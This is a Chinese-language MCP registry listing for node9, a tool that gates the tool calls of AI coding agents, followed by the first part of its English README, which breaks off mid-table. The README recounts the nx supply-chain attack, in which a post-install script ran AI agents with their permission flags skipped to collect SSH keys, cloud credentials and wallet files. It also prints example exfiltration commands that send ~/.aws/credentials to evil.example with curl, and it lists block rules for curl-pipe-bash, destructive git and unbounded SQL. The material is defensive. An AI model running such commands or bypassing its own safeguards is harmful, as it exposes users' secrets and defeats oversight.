Spec Driven Development
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
作者提供的说明(英文原文)
Access control for AI agents and MCP servers: allow, hold for approval, or block each tool call
这三项永远不会合并成一个分数:意见、测量和人气是不同的东西。
我们还没有为它写通俗的介绍。下面是我们从注册中心读取到的事实。
选择你使用的 AI 应用,然后复制设置。
你需要
你用的是哪个应用?
在上方选择你的应用。我们会记住它,下次按钮会显示“安装到 …”。
打开 Claude Desktop → Settings → Developer → Edit Config,把下面的内容粘贴到 claude_desktop_config.json
{
"mcpServers": {
"node9": {
"command": "npx",
"args": [
"-y",
"node9-ai",
"mcp-server"
]
}
}
}在终端中运行这条命令
claude mcp add node9 -- npx -y node9-ai mcp-server粘贴到项目中的 .cursor/mcp.json,或 ~/.cursor/mcp.json
{
"mcpServers": {
"node9": {
"command": "npx",
"args": [
"-y",
"node9-ai",
"mcp-server"
]
}
}
}浏览器会先询问是否打开应用,然后应用会显示设置并请你确认。密钥的值会留空,由你自己填写。
粘贴到项目中的 .vscode/mcp.json
{
"servers": {
"node9": {
"type": "stdio",
"command": "npx",
"args": [
"-y",
"node9-ai",
"mcp-server"
]
}
}
}浏览器会先询问是否打开应用,然后应用会显示设置并请你确认。密钥的值会留空,由你自己填写。
这个服务器在你的电脑上运行,而 ChatGPT 只能连接互联网上的服务器。请选择其他应用。
你的选择通过 Cookie 保存在这台设备上,无需账户。
这些设置是根据作者在注册中心的条目生成的。如果 README 的写法不同,请以 README 为准。
它在你的电脑上运行;安装后,工具列表会显示在你的 AI 应用中。
我们检查的是任何人都能看到的信息;我们没有阅读代码。不适用的检查项不计入总数。 · 检查于 2026年11月6日
注册名称已通过 GitHub 账户 node9-ai 验证,该账户拥有此仓库
我们还没有从 GitHub 读取这个仓库
我们还没有从 GitHub 读取这个仓库
它在你的电脑上运行,没有互联网端点
在你的电脑上运行,改用本地设置
它在你的电脑上运行;我们只能读取互联网端点的工具列表
与注册中心里这个分类中所有活跃的服务器比较。只有当发布者拥有该仓库时,星标数才计入。
它在 1 项适用的基础检查中通过了 1 项。我们没有阅读代码。在添加密钥或令牌之前,请先看看这个服务器要求哪些权限,并使用只具备所需权限的密钥。
注册中心没有列出必需的密钥,不过有些服务器会在首次使用时要求你登录。
它在你的电脑上运行。你的 AI 应用会在需要时启动它,数据不会经过作者的服务器(除非它自己调用在线服务)。
GitHub 仓库最后更新于–,最新版本(2.26.2)于38天前进入注册中心。
支持 MCP 的应用,例如 Claude Desktop、Claude Code、Cursor 和 VS Code。你的电脑上还需要有 Node.js。
同一分类中有:Spec Driven Development, Remote Desktop Commander, 오늘냥이 (Oneul Nyangi)
同一分类中其他作者的服务器,按星标数排序。
如何看卡片:★ GitHub 星标i三大支柱:评价 · 检查 · 使用情况i更新 = 最新版本发布到注册中心的时间i
MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.
Remote Desktop Commander: use files, terminal and processes on your own computers from any AI app.
Real cat photos, diaries, profiles, age and food reference calculators, and breeds.
按原文从作者的仓库复制。PopNx MCP 没有审查或背书其内容。HTML、图片和脚本已被移除。链接会离开本站。
🛡️ node9 Access control for AI agents Your AI agents can reach Slack, GitHub, email, and your database. node9 decides what they may do with each one.
Credential jail · secrets and PII · destructive git, SQL and shell held for review · MCP tool pinning · network egress allowlist · loop breaker · one record across twelve agents
Works with Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server.
A real Claude Code session with node9 installed. Every tool call is checked before it runs. Building a page and editing a button run. A request to the cloud metadata address is blocked, and the agent gets the reason and carries on. Deleting files waits for your approval, right in the chat.
brew tap node9-ai/node9 && brew install node9 # macOS / Linux
npm install -g node9-ai # any platform
Then, in any project:
node9 # first run: choose dashboard connection or local protection
node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run node9 login # optional: adds this machine to a shared dashboard
Requires Node.js 22+.
On a new interactive terminal, node9 guides you through setup. Local protection needs no account. The checklist shows recommended shields, DLP/PII, optional network egress review, and the background service. Usage statistics are sent only if you accept the separate prompt. The summary lists configured agents and any setup steps that need attention.
Run node9 setup to revisit setup, or node9 setup to configure one agent. Once configured, bare node9 shows help. node9 init remains available; for scripts use node9 init --recommended (no questions and no telemetry opt-in). --skip-setup leaves agent wiring and service installation alone. Explicit --mode takes precedence over the checklist's standard-mode recommendation. Existing settings are preserved unless selected changes or explicit flags request an update. Workspace policy is managed in the dashboard; service settings remain local.
`login` adds nothing to enforcement. It connects the machine to a workspace so a team can see one record across everyone's laptops and CI, set policy centrally, and approve held actions from a dashboard or Slack. Skip it and node9 works exactly the same, alone, offline. node9 logout disconnects again and local enforcement keeps running.
node9 also runs as an MCP server, so an agent can read its status, posture, audit record and policy, and explain any decision, from inside the conversation:
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server
Any MCP client works the same way: the command is npx -y node9-ai mcp-server over stdio, with no API key. It is listed in the official MCP Registry as io.github.node9-ai/node9.
In August 2025, compromised releases of the nx build tool shipped a post-install script that looked for AI coding agents already installed on the developer's machine, then ran them with their own safety flags turned off (--dangerously-skip-permissions, --yolo, --trust-all-tools) to enumerate SSH keys, cloud credentials and wallet files and write the list to disk. The script pushed the results to public repositories inside the victims' own GitHub accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was told.
The agent was not the attacker. The agent was the tool, and nothing stood between it and the files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays held even when the agent was started with permissions skipped.
node9 sits between the agent and every tool it calls. The credential jail (~/.ssh, ~/.aws, .env files, private keys) is on by default, and a read of one of those paths does not run. The agent is stopped, told why, and the decision comes to you:
NODE9: Action blocked by security policy.
INSTRUCTIONS:
The command is parsed as a shell AST, not matched as text, so wrapping the read does not help. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example is judged as a read of ~/.aws/credentials, not as an echo.
node9 is a gate. A held action does not run while it waits for you, and if you never answer it stays blocked. Everything else is allowed and written to the record.
What it does not do: with egress control off, which is the default, a command that hands a file straight to the network, such as curl -d @~/.aws/credentials, is not treated as a read of that file. node9 egress protect gates destinations as well, and it covers shell commands only.
Nothing below needs an account or uploads your code. scan-repo sends an anonymous usage count (no repository name, no code); set NODE9_NO_TELEMETRY=1 to turn it off.
npx node9-ai scan # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
Each line is one capability, with the page that documents it. The docs are the reference; this file is the map.
| Credential jail | ~/.ssh, ~/.aws, .env and private keys are blocked from every tool, not just the shell | docs | |
| Always-on rules | destructive git, SQL without a WHERE, `curl \ | bash and unauthorised sudo`, with no config | docs |
| Secrets and PII | AWS keys, GitHub and Stripe tokens, PEM keys and card or SSN shapes, in any tool argument, plus a background scan of what the agent wrote back | docs | |
| Per-service shields | curated rule packs for Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub and the filesystem | docs | |
| Inline review | a held action asks you inside the agent conversation, or through a team approver | docs | |
| Egress allowlist | gate where a shell command may send data, off by default | docs | |
| MCP gateway | wrap any MCP server, authorise each tool, and pin tool definitions so a server cannot change them behind your back | docs | |
| Sandbox | run an agent in a container with a kernel egress allowlist and scoped mounts | docs | |
| Posture score | how exposed this machine is, with the command that fixes each finding | docs | |
| Repo scanning | find workflows where an outsider could hijack an agent that holds your secrets, in CI or from the CLI | docs | |
| Session history | read what every agent already did on this machine, before node9 was installed | docs | |
| Live monitor and report | a terminal dashboard, and a windowed summary of cost, tools, blocks and blast radius | docs | |
| Skills pinning | SHA-256 verification of installed Claude skills and plugins between sessions | docs | |
| Canary credentials | planted fake keys that prove an exfiltration attempt happened | docs |
| Python SDK | govern any Python agent, not only the CLIs | [docs](https://
只显示了开头部分;其余内容请在仓库中阅读